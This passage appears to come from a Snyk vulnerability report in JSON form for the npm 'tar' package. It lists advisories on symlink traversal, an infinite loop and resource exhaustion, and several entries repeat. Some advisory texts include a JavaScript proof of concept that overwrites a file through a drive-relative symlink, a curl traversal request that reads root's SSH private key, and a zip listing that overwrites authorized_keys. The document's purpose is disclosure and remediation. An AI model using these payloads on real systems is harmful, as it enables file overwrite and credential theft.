`%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": 